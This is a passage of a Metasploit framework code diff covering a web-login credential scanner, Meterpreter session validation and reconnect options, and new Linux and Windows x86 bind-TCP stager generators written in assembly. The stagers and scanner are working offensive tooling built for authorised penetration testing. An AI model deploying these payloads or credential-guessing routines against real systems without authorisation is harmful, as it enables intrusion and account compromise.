name = input.scan(/name="(\w+)"/).flatten[0] || ''
|
||||
value = input.scan(/value="([\w\.\-]+)"/).flatten[0] || ''
|
||||
found_inputs[name] = value
|
||||
end
|
||||
found_inputs
|
||||
end
|
||||
|
||||
|
||||
# Returns all the items needed to login
|
||||
#
|
||||
# @return [Hash] Login items
|
||||
def get_required_login_items
|
||||
items = {}
|
||||
login_uri = normalize_uri("#{uri}/configurations.do")
|
||||
res = send_request({'uri' => login_uri})
|
||||
return items unless res
|
||||
items.merge!({'sid' => get_sid(res)})
|
||||
items.merge!(get_hidden_inputs(res))
|
||||
items
|
||||
end
|
||||
|
||||
|
||||
# Actually doing the login. Called by #attempt_login
|
||||
#
|
||||
# @param username [String] The username to try
|
||||
# @param password [String] The password to try
|
||||
# @return [Hash]
|
||||
# * :status [Metasploit::Model::Login::Status]
|
||||
# * :proof [String] the HTTP response body
|
||||
def get_login_state(username, password)
|
||||
login_uri = normalize_uri("#{uri}/j_security_check")
|
||||
login_items = get_required_login_items
|
||||
|
||||
res = send_request({
|
||||
'uri' => login_uri,
|
||||
'method' => 'POST',
|
||||
'cookie' => login_items['sid'],
|
||||
'vars_post' => {
|
||||
'j_username' => username,
|
||||
'j_password' => password,
|
||||
'Button' => 'Sign+in',
|
||||
'buildNum' => login_items['buildNum'],
|
||||
'clearCacheBuildNum' => login_items['clearCacheBuildNum']
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
return {:status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s}
|
||||
end
|
||||
|
||||
if res.code == 302
|
||||
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.to_s}
|
||||
end
|
||||
|
||||
{:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s}
|
||||
end
|
||||
|
||||
|
||||
# Attempts to login to MSP.
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: LOGIN_STATUS::INCORRECT,
|
||||
proof: nil,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
begin
|
||||
result_opts.merge!(get_login_state(credential.public, credential.private))
|
||||
rescue ::Rex::ConnectionError => e
|
||||
# Something went wrong during login. 'e' knows what's up.
|
||||
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -527,6 +527,8 @@ class ReadableText
|
|||
indent = opts[:indent] || DefaultIndent
|
||||
col = opts[:col] || DefaultColumnWrap
|
||||
|
||||
return dump_sessions_verbose(framework, opts) if verbose
|
||||
|
||||
columns =
|
||||
[
|
||||
'Id',
|
||||
|
@ -535,9 +537,6 @@ class ReadableText
|
|||
'Connection'
|
||||
]
|
||||
|
||||
columns << 'Via' if verbose
|
||||
columns << 'PayloadId' if verbose
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Indent' => indent,
|
||||
'Header' => "Active sessions",
|
||||
|
@ -554,12 +553,7 @@ class ReadableText
|
|||
|
||||
row = [ session.sid.to_s, session.type.to_s, sinfo, session.tunnel_to_s + " (#{session.session_host})" ]
|
||||
if session.respond_to? :platform
|
||||
row[1] += " " + session.platform
|
||||
end
|
||||
|
||||
if verbose
|
||||
row << session.via_exploit.to_s
|
||||
row << session.payload_uuid.to_s
|
||||
row[1] << (" " + session.platform)
|
||||
end
|
||||
|
||||
tbl << row
|
||||
|
@ -568,6 +562,59 @@ class ReadableText
|
|||
return framework.sessions.length > 0 ? tbl.to_s : "#{tbl.header_to_s}No active sessions.\n"
|
||||
end
|
||||
|
||||
# Dumps the list of active sessions in verbose mode
|
||||
#
|
||||
# @param framework [Msf::Framework] the framework to dump.
|
||||
# @param opts [Hash] the options to dump with.
|
||||
# @option opts :session_ids [Array] the list of sessions to dump (no
|
||||
# effect).
|
||||
# @return [String] the formatted list of sessions.
|
||||
def self.dump_sessions_verbose(framework, opts={})
|
||||
ids = (opts[:session_ids] || framework.sessions.keys).sort
|
||||
|
||||
out = "Active sessions\n" +
|
||||
"===============\n\n"
|
||||
|
||||
if framework.sessions.length == 0
|
||||
out << "No active sessions.\n"
|
||||
return out
|
||||
end
|
||||
|
||||
framework.sessions.each_sorted do |k|
|
||||
session = framework.sessions[k]
|
||||
|
||||
sess_info = session.info.to_s
|
||||
sess_id = session.sid.to_s
|
||||
sess_tunnel = session.tunnel_to_s + " (#{session.session_host})"
|
||||
sess_via = session.via_exploit.to_s
|
||||
sess_type = session.type.to_s
|
||||
sess_uuid = session.payload_uuid.to_s
|
||||
sess_checkin = "<none>"
|
||||
sess_machine_id = session.machine_id.to_s
|
||||
|
||||
if session.respond_to? :platform
|
||||
sess_type << (" " + session.platform)
|
||||
end
|
||||
|
||||
if session.respond_to?(:last_checkin) && session.last_checkin
|
||||
sess_checkin = "#{(Time.now.to_i - session.last_checkin.to_i)}s ago @ #{session.last_checkin.to_s}"
|
||||
end
|
||||
|
||||
out << " Session ID: #{sess_id}\n"
|
||||
out << " Type: #{sess_type}\n"
|
||||
out << " Info: #{sess_info}\n"
|
||||
out << " Tunnel: #{sess_tunnel}\n"
|
||||
out << " Via: #{sess_via}\n"
|
||||
out << " UUID: #{sess_uuid}\n"
|
||||
out << " MachineID: #{sess_machine_id}\n"
|
||||
out << " CheckIn: #{sess_checkin}\n"
|
||||
out << "\n"
|
||||
end
|
||||
|
||||
out << "\n"
|
||||
return out
|
||||
end
|
||||
|
||||
# Dumps the list of running jobs.
|
||||
#
|
||||
# @param framework [Msf::Framework] the framework.
|
||||
|
|
|
@ -255,9 +255,10 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
def kill
|
||||
begin
|
||||
cleanup_meterpreter
|
||||
self.sock.close
|
||||
self.sock.close if self.sock
|
||||
rescue ::Exception
|
||||
end
|
||||
# deregister will actually trigger another cleanup
|
||||
framework.sessions.deregister(self)
|
||||
end
|
||||
|
||||
|
@ -298,6 +299,24 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
console.disable_output = original
|
||||
end
|
||||
|
||||
#
|
||||
# Validate session information by checking for a machine_id response
|
||||
#
|
||||
def is_valid_session?(timeout=10)
|
||||
return true if self.machine_id
|
||||
|
||||
begin
|
||||
self.machine_id = self.core.machine_id(timeout)
|
||||
return true
|
||||
rescue ::Rex::Post::Meterpreter::RequestError
|
||||
# This meterpreter doesn't support core_machine_id
|
||||
return true
|
||||
rescue ::Exception => e
|
||||
dlog("Session #{self.sid} did not respond to validation request #{e.class}: #{e}")
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Populate the session information.
|
||||
#
|
||||
|
@ -448,6 +467,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
attr_accessor :binary_suffix
|
||||
attr_accessor :console # :nodoc:
|
||||
attr_accessor :skip_ssl
|
||||
attr_accessor :skip_cleanup
|
||||
attr_accessor :target_id
|
||||
|
||||
protected
|
||||
|
|
|
@ -12,11 +12,17 @@ module MeterpreterOptions
|
|||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('AutoLoadStdapi', [true, "Automatically load the Stdapi extension", true]),
|
||||
OptBool.new('AutoVerifySession', [true, "Automatically verify and drop invalid sessions", true]),
|
||||
OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']),
|
||||
OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']),
|
||||
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
|
||||
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]),
|
||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"])
|
||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]),
|
||||
OptBool.new('StagerCloseListenSocket', [false, "Close the listen socket in the stager", false]),
|
||||
OptInt.new('SessionRetryTotal', [false, "Number of seconds try reconnecting for on network failure", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_TOTAL]),
|
||||
OptInt.new('SessionRetryWait', [false, "Number of seconds to wait between reconnect attempts", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_WAIT]),
|
||||
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', Rex::Post::Meterpreter::ClientCore::TIMEOUT_SESSION]),
|
||||
OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', Rex::Post::Meterpreter::ClientCore::TIMEOUT_COMMS])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -35,43 +41,49 @@ module MeterpreterOptions
|
|||
|
||||
session.init_ui(self.user_input, self.user_output)
|
||||
|
||||
if (datastore['AutoLoadStdapi'] == true)
|
||||
valid = true
|
||||
|
||||
session.load_stdapi
|
||||
|
||||
if datastore['AutoSystemInfo']
|
||||
session.load_session_info
|
||||
if datastore['AutoVerifySession'] == true
|
||||
if not session.is_valid_session?
|
||||
print_error("Meterpreter session #{session.sid} is not valid and will be closed")
|
||||
valid = false
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
admin = false
|
||||
begin
|
||||
::Timeout.timeout(30) do
|
||||
if session.railgun and session.railgun.shell32.IsUserAnAdmin()["return"] == true
|
||||
admin = true
|
||||
session.info += " (ADMIN)"
|
||||
end
|
||||
if valid
|
||||
|
||||
if datastore['AutoLoadStdapi'] == true
|
||||
|
||||
session.load_stdapi
|
||||
|
||||
if datastore['AutoSystemInfo']
|
||||
session.load_session_info
|
||||
end
|
||||
|
||||
if session.platform =~ /win32|win64/i
|
||||
session.load_priv rescue nil
|
||||
end
|
||||
rescue ::Exception
|
||||
end
|
||||
=end
|
||||
if session.platform =~ /win32|win64/i
|
||||
session.load_priv rescue nil
|
||||
|
||||
if session.platform =~ /android/i
|
||||
if datastore['AutoLoadAndroid']
|
||||
session.load_android
|
||||
end
|
||||
end
|
||||
|
||||
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
|
||||
if (datastore[key].empty? == false)
|
||||
args = Shellwords.shellwords( datastore[key] )
|
||||
print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
|
||||
session.execute_script(args.shift, *args)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if session.platform =~ /android/i
|
||||
if datastore['AutoLoadAndroid']
|
||||
session.load_android
|
||||
end
|
||||
end
|
||||
|
||||
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
|
||||
if (datastore[key].empty? == false)
|
||||
args = Shellwords.shellwords( datastore[key] )
|
||||
print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
|
||||
session.execute_script(args.shift, *args)
|
||||
end
|
||||
# Terminate the session without cleanup if it did not validate
|
||||
if not valid
|
||||
session.skip_cleanup = true
|
||||
session.kill
|
||||
end
|
||||
|
||||
}
|
||||
|
|
|
@ -35,7 +35,7 @@ module Auxiliary::Login
|
|||
#
|
||||
# Some of these regexes borrowed from NeXpose, others added from datasets
|
||||
#
|
||||
@login_regex = /(?:log[io]n( name|)|user( ?name|id|))\s*\:/i
|
||||
@login_regex = /(?:log[io]n( name|)|user(name|id|))\s*\:/i
|
||||
@password_regex = /(?:password|passwd)\s*\:/i
|
||||
@false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i
|
||||
@failure_regex = /(?:
|
||||
|
|
|
@ -46,7 +46,7 @@ module Msf::DBManager::Vuln
|
|||
|
||||
def find_vuln_by_refs(refs, host, service=nil)
|
||||
ref_ids = refs.find_all { |ref| ref.name.starts_with? 'CVE-'}
|
||||
host.vulns.joins(:refs).where(service_id: service.try(:id), refs: { id: ref_ids}).first
|
||||
host.vulns.includes(:refs).where(service_id: service.try(:id), refs: { id: ref_ids}).first
|
||||
end
|
||||
|
||||
def get_vuln(wspace, host, service, name, data='')
|
||||
|
|
|
@ -141,12 +141,21 @@ module BindTcp
|
|||
# Increment the has connection counter
|
||||
self.pending_connections += 1
|
||||
|
||||
# Timeout and datastore options need to be passed through to the client
|
||||
opts = {
|
||||
:datastore => datastore,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
|
||||
# Start a new thread and pass the client connection
|
||||
# as the input and output pipe. Client's are expected
|
||||
# to implement the Stream interface.
|
||||
conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy|
|
||||
begin
|
||||
handle_connection(wrap_aes_socket(client_copy), { datastore: datastore })
|
||||
handle_connection(wrap_aes_socket(client_copy), opts)
|
||||
rescue
|
||||
elog("Exception raised from BindTcp.handle_connection: #{$!}")
|
||||
end
|
||||
|
|
|
@ -250,7 +250,7 @@ module ReverseHopHttp
|
|||
#
|
||||
# Patch options into the payload
|
||||
#
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
|
||||
:ssl => ssl?,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'],
|
||||
|
@ -260,7 +260,7 @@ module ReverseHopHttp
|
|||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass']
|
||||
:proxy_pass => datastore['PayloadProxyPass'])
|
||||
|
||||
blob = encode_stage(blob)
|
||||
|
||||
|
|
|
@ -52,8 +52,6 @@ module ReverseHttp
|
|||
register_advanced_options(
|
||||
[
|
||||
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
|
||||
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', (24*3600*7)]),
|
||||
OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300]),
|
||||
OptString.new('MeterpreterUserAgent', [ false, 'The user-agent that the payload should use for communication', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' ]),
|
||||
OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]),
|
||||
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
|
||||
|
@ -283,6 +281,8 @@ protected
|
|||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
|
@ -312,6 +312,8 @@ protected
|
|||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
|
@ -330,17 +332,19 @@ protected
|
|||
# Patch options into the payload
|
||||
#
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
|
||||
:ssl => ssl?,
|
||||
:url => url,
|
||||
:ssl_cert_hash => verify_cert_hash,
|
||||
:expiration => datastore['SessionExpirationTimeout'],
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass'])
|
||||
:ssl => ssl?,
|
||||
:url => url,
|
||||
:ssl_cert_hash => verify_cert_hash,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass'])
|
||||
|
||||
resp.body = encode_stage(blob)
|
||||
|
||||
|
@ -351,6 +355,8 @@ protected
|
|||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
|
@ -366,8 +372,13 @@ protected
|
|||
:passive_dispatcher => obj.service,
|
||||
:conn_id => conn_id,
|
||||
:url => payload_uri(req) + conn_id + "/\x00",
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
# TODO ### Figure out what to do with these options given that the payload ###
|
||||
# settings might not match the handler, should we instead read the remote? #
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i, #
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i, #
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i, #
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i, #
|
||||
##############################################################################
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
|
|
|
@ -58,6 +58,8 @@ module Handler::ReverseHttp::Stageless
|
|||
:ssl_cert_hash => verify_cert_hash,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
|
|
|
@ -169,12 +169,21 @@ module ReverseTcp
|
|||
break
|
||||
end
|
||||
|
||||
# Timeout and datastore options need to be passed through to the client
|
||||
opts = {
|
||||
:datastore => datastore,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
|
||||
if datastore['ReverseListenerThreaded']
|
||||
self.conn_threads << framework.threads.spawn("ReverseTcpHandlerSession-#{local_port}-#{client.peerhost}", false, client) { |client_copy|
|
||||
handle_connection(wrap_aes_socket(client_copy), { datastore: datastore })
|
||||
handle_connection(wrap_aes_socket(client_copy), opts)
|
||||
}
|
||||
else
|
||||
handle_connection(wrap_aes_socket(client), { datastore: datastore })
|
||||
handle_connection(wrap_aes_socket(client), opts)
|
||||
end
|
||||
rescue ::Exception
|
||||
elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}")
|
||||
|
|
|
@ -100,13 +100,13 @@ class Msf::Module::SiteReference < Msf::Module::Reference
|
|||
elsif (in_ctx_id == 'CVE')
|
||||
self.site = "http://cvedetails.com/cve/#{in_ctx_val}/"
|
||||
elsif (in_ctx_id == 'CWE')
|
||||
self.site = "http://cwe.mitre.org/data/definitions/#{in_ctx_val}.html"
|
||||
self.site = "https://cwe.mitre.org/data/definitions/#{in_ctx_val}.html"
|
||||
elsif (in_ctx_id == 'BID')
|
||||
self.site = "http://www.securityfocus.com/bid/#{in_ctx_val}"
|
||||
elsif (in_ctx_id == 'MSB')
|
||||
self.site = "http://technet.microsoft.com/en-us/security/bulletin/#{in_ctx_val}"
|
||||
elsif (in_ctx_id == 'EDB')
|
||||
self.site = "http://www.exploit-db.com/exploits/#{in_ctx_val}"
|
||||
self.site = "https://www.exploit-db.com/exploits/#{in_ctx_val}"
|
||||
elsif (in_ctx_id == 'US-CERT-VU')
|
||||
self.site = "http://www.kb.cert.org/vuls/id/#{in_ctx_val}"
|
||||
elsif (in_ctx_id == 'ZDI')
|
||||
|
|
|
@ -0,0 +1,178 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Complex bindtcp payload generation for Linux ARCH_X86
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Linux::BindTcp
|
||||
|
||||
include Msf::Payload::Linux
|
||||
|
||||
def close_listen_socket
|
||||
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_bind_tcp(
|
||||
port: datastore['LPORT'],
|
||||
close_socket: close_listen_socket
|
||||
)
|
||||
end
|
||||
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
close_socket: close_listen_socket,
|
||||
reliable: true
|
||||
}
|
||||
|
||||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_bind_tcp(opts={})
|
||||
asm = asm_bind_tcp(opts)
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
|
||||
space += 14
|
||||
|
||||
# Adding 6 bytes to the payload when we include the closing of the listen
|
||||
# socket
|
||||
space += 6 if close_listen_socket
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [Bool] :reliable Whether or not to enable error handling code
|
||||
#
|
||||
def asm_bind_tcp(opts={})
|
||||
|
||||
#reliable = opts[:reliable]
|
||||
close_socket = opts[:close_socket]
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
|
||||
asm = %Q^
|
||||
bind_tcp:
|
||||
push 0x7d ; mprotect syscall
|
||||
pop eax
|
||||
cdq
|
||||
mov dl,0x7
|
||||
mov ecx,0x1000
|
||||
mov ebx,esp
|
||||
and bx,0xf000
|
||||
int 0x80 ; invoke mprotect
|
||||
xor ebx,ebx
|
||||
mul ebx
|
||||
push ebx ; PROTO
|
||||
inc ebx ; SYS_SOCKET and SOCK_STREAM
|
||||
push ebx
|
||||
push 0x2 ; SYS_BIND and AF_INET
|
||||
mov ecx,esp
|
||||
mov al,0x66 ; socketcall syscall
|
||||
int 0x80 ; invoke socketcall (SYS_SOCKET)
|
||||
^
|
||||
|
||||
unless close_socket
|
||||
asm << %Q^
|
||||
; set the SO_REUSEADDR flag on the socket
|
||||
push ecx
|
||||
push 4
|
||||
push esp
|
||||
push 2
|
||||
push 1
|
||||
push eax
|
||||
xchg eax,edi ; stash the socket handle
|
||||
mov ecx, esp
|
||||
push 0xe ; SYS_SETSOCKOPT
|
||||
pop ebx
|
||||
push 0x66 ; socketcall syscall
|
||||
pop eax
|
||||
int 0x80
|
||||
xchg eax,edi ; restore the socket handle
|
||||
add esp, 0x14
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
pop ebx
|
||||
pop esi
|
||||
push edx
|
||||
push #{encoded_port}
|
||||
push 0x10
|
||||
push ecx
|
||||
push eax
|
||||
mov ecx,esp
|
||||
push 0x66 ; socketcall syscall
|
||||
pop eax
|
||||
int 0x80 ; invoke socketcall (SYS_BIND)
|
||||
shl ebx,1 ; SYS_LISTEN
|
||||
mov al,0x66 ; socketcall syscall (SYS_LISTEN)
|
||||
int 0x80 ; invoke socketcall
|
||||
^
|
||||
|
||||
if close_socket
|
||||
asm << %Q^
|
||||
push eax ; stash the listen socket
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
inc ebx ; SYS_ACCEPT
|
||||
mov al,0x66 ; socketcall syscall
|
||||
mov [ecx+0x4],edx
|
||||
int 0x80 ; invoke socketcall (SYS_ACCEPT)
|
||||
xchg eax,ebx
|
||||
mov dh,0xc ; at least 0x0c00 bytes
|
||||
mov al,0x3 ; read syscall
|
||||
int 0x80 ; invoke read
|
||||
xchg ebx,edi ; stash the accept socket in edi
|
||||
^
|
||||
if close_socket
|
||||
asm << %Q^
|
||||
pop ebx ; restore the listen socket
|
||||
mov al,0x6 ; close syscall
|
||||
int 0x80 ; invoke close
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
jmp ecx ; jump to the payload
|
||||
^
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,263 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Complex bindtcp payload generation for Windows ARCH_X86
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Windows::BindTcp
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Windows::Exitfunk
|
||||
|
||||
def close_listen_socket
|
||||
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_bind_tcp(
|
||||
port: datastore['LPORT'].to_i,
|
||||
close_socket: close_listen_socket
|
||||
)
|
||||
end
|
||||
|
||||
conf = {
|
||||
port: datastore['LPORT'].to_i,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
close_socket: close_listen_socket,
|
||||
reliable: true
|
||||
}
|
||||
|
||||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_bind_tcp(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop ebp
|
||||
#{asm_bind_tcp(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
# TODO: need help with this from the likes of HD.
|
||||
space = 277
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# EXITFUNK unset will still call ExitProces, which adds 7 bytes (accounted for above)
|
||||
|
||||
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
|
||||
space += 14
|
||||
|
||||
# if the payload doesn't need the listen socket closed then we save space. This is
|
||||
# the case for meterpreter payloads, as metsrv now closes the listen socket once it
|
||||
# kicks off (needed for more reliable shells).
|
||||
space -= 8 unless close_listen_socket
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Bool] :reliable Whether or not to enable error handling code
|
||||
#
|
||||
def asm_bind_tcp(opts={})
|
||||
|
||||
reliable = opts[:reliable]
|
||||
close_socket = opts[:close_socket]
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
|
||||
asm = %Q^
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the newly connected clients socket
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
bind_tcp:
|
||||
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
push 0x5F327377 ; ...
|
||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||
sub esp, eax ; alloc some space for the WSAData structure
|
||||
push esp ; push a pointer to this stuct
